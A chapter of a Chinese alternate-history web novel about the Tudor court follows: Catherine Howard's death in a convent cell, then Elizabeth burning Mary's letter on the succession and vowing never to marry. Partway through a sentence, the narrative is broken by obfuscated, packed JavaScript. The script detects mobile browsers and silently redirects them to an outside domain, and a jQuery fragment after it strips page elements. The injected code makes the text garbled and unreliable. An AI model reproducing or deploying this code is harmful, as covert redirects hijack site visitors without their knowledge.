凯瑟琳·霍华德蜷缩在硬板床上，薄毯根本无法抵御严寒，她瘦得只剩骨架的身体在无法控制的剧烈颤抖。每一次撕心裂肺的咳嗽，都像是要把五脏六腑都呕出来，带出更多的、带着腥甜气息的暗红血沫，星星点点溅在冰冷的石板地上，如同凋零的残梅。 金发早已失去了所有光泽，枯槁地贴在深陷、灰败的脸颊上。那双曾经盛满娇媚、野心和恐惧的蓝色眼眸，此刻只剩下无边无际的空洞和一种近乎麻木的疲惫。嬷嬷们送来的粗粝面包和稀薄的菜汤早已冰冷，放在角落的小木桌上，纹丝未动。生命的光，正在这具年轻的躯壳里急速流逝。 意识模糊间，她仿佛又回到了汉普顿宫那间金碧辉煌的寝殿。巨大的落地镜里，映着她穿着华美裙袍、戴着璀璨珠宝的身影，青春娇艳，如同盛放的玫瑰。诺福克舅舅在一旁低声教导着宫廷礼仪和取悦陛下的技巧，他的眼神像鹰隼。然后，画面跳转，是玫瑰廊下潮湿的夜晚，卡尔佩珀炽热的呼吸拂过她的颈侧，带着禁忌的刺激和恐惧……接着，是滴血认亲时那碗刺目的暗红，诺福克舅舅枯槁脸上狂喜的狞笑……最后，定格在格林威治宫宴会厅，亨利那双充满了厌恶和冰冷杀意的眼睛…… “孩子……” 一声破碎的、几乎听不见的呓语从她干裂的唇间溢出。她枯瘦的手指无意识地抓挠着冰冷的床板，仿佛想抓住什么。那个深棕色头发、只在出生时啼哭了几声就被抱走的孩子……她甚至不知道他长什么模样，不知道嬷嬷们给他取了什么名字。他成了她生命中一个模糊的、带着巨大痛楚的印记，是耻辱，是枷锁，也是……一丝连她自己都无法理解的、微弱到近乎虚无的牵挂。 风雪声似乎小了些，被修道院深处传来的、低沉而悠远的晚祷钟声取代。修士们肃穆的拉丁文吟诵隐隐飘来，那是为亡者安息的《安魂曲》。 凯瑟琳灰败的脸上，那空洞的眼中似乎有最后一点微光闪动了一下。她仿佛听到了什么召唤，艰难地、极其缓慢地转过头，望向那扇高悬的小窗外——那里只有一片被狂风吹卷的、混沌的白色。 一滴冰冷的、混浊的泪，终于滑过她枯槁的脸颊，无声地砸落在冰冷坚硬的石板上，瞬间消失不见。 她的呼吸，在钟声和风雪交织的呜咽中，越来越微弱，越来越悠长，最终，彻底归于一片冰冷的寂静。 牛油灯芯发出一声轻微的“噼啪”，挣扎着跳跃了一下，最终还是熄灭了。石室陷入彻底的黑暗和死寂。只有窗外呼啸的风雪，依旧不知疲倦地拍打着墙壁，仿佛在为这位被权力玩弄、最终无声凋零在荒原雪夜中的金丝雀，唱着最后的、无人聆听的挽歌。 * * * 里士满城堡的书房内，炉火温暖。安妮正指导伊丽莎白阅读一卷拉丁文典籍。胡椒狗伏在炉边地毯上，发出均匀的鼾声。一封盖着玛丽公主私人印鉴的信件，由老约翰肃然呈上。 信封厚重，用的是最好的羊皮纸。伊丽莎白用小银刀裁开封口，展开信笺。熟悉的、带着一丝旧教刻板气息的娟秀字迹映入眼帘： > **致伊丽莎白·都铎，英格兰公主：** > > 此信由圣母玛利亚见证，于格林威治宫祈祷室书就。 > > 父王陛下于病榻之上，蒙上帝启示，深感王朝传承之重责，已明颁诏谕，昭告天下：王位继承之序，以爱德华王子殿下为先；王子若蒙主恩召而无嗣，则继位之权归于吾身；吾若亦无子嗣，则此神圣权柄，当由汝——伊丽莎白·都铎——承继。 > > 此序已加盖国玺，永为定制。任何外戚、权臣，不得觊觎染指。 > > 过往之事，上帝自有公断。吾等皆为父王之女，英格兰之公主。值此多事之秋，当谨守本分，虔心祈祷，为父王圣体，为王国安稳。 > > 玛丽·都铎手书 > > 附：陛下圣意已决，此诏不容更易。 信笺的末尾，有一小块被水渍晕染开的模糊痕迹，不知是烛泪，还是……别的什么。 伊丽莎白静静地看着信，灰绿色的眼眸深邃如寒潭，映照着跳动的炉火，却看不出太多波澜。她纤细的手指轻轻抚过那行关于继承权的冰冷文字，又停留在那个模糊的水渍上片刻。玛丽称她为“伊丽莎白·都铎”，而非往日的“那个私生女”或“安妮·博林的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16155938|180550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女儿”。这称呼的改变，本身就充满了政治妥协的冰冷意味。那“谨守本分，虔心祈祷”的告诫，更是玛丽的风格，带着旧教烙印的枷锁感。 安妮没有打扰她，只是静静地看着。胡椒狗似乎感受到气氛的变化，抬起头，湿润的黑眼睛望着伊丽莎白。 良久，伊丽莎白放下信笺，走到壁炉边。她没有看安妮，目光投向炉膛里跳跃的火焰，声音很轻，却异常清晰，带着一种超越年龄的决绝： “老师，玛丽姐姐的信，我看完了。” 她顿了顿，拿起那封信，毫不犹豫地将其一角凑近炉火。火舌瞬间舔舐上昂贵的羊皮纸，发出轻微的“滋滋”声，卷曲、焦黑，玛丽那娟秀的字迹在火光中迅速化为灰烬。 “上帝作证，” 伊丽莎白转过身，面对着安妮，灰绿色的眼眸在火光映照下，亮得惊人，如同淬炼过的宝石，蕴含着不容置疑的力量和一种近乎悲壮的清醒，“以我的生命与灵魂起誓——” 她微微扬起头，脊背挺得笔直，声音不大，却如同金铁交鸣，清晰地回荡在温暖的书房里，每一个字都带着千钧的重量： **“我将永不结婚！永不屈从于任何丈夫的权柄！我的身体，我的意志，我的王冠——若有上帝垂怜，令其加诸我身——都将只属于英格兰！只服务于这片土地和它的人民！为此，我愿付出一切代价！”** 誓言落定，书房内一片寂静。只有炉火燃烧的噼啪声，和胡椒狗喉咙里发出的一声低低的、仿佛理解的呜咽。 安妮看着火光中伊丽莎白那坚定而略显单薄的侧影，看着她眼中燃烧的、为守护自身与王国独立而献祭婚姻与个人幸福的决绝火焰。她没有说话，只是走上前，轻轻将女孩拥入怀中。这是一个沉重到令人窒息的誓言，是伊丽莎白在目睹了母亲（安妮·博林）、简·西摩、凯瑟琳·霍华德乃至玛丽（未来可能的）被婚姻和男人权柄碾碎的悲剧后，为自己选择的、最彻底的防御，也是最彻底的献祭。 炉火的光芒将她们相拥的身影长长地投射在墙壁上。窗外，里士满的夜幕已然降临。格林威治宫那头衰弱金狮的喘息，伦敦塔里无声的囚徒，约克郡荒原上刚刚熄灭的生命烛火，还有眼前少女以终身不嫁为代价立下的沉重誓言……都铎王朝的未来，在灰烬与誓言中，走向了更加莫测的深渊。新的风暴，正在未知的黑暗中积聚着力量。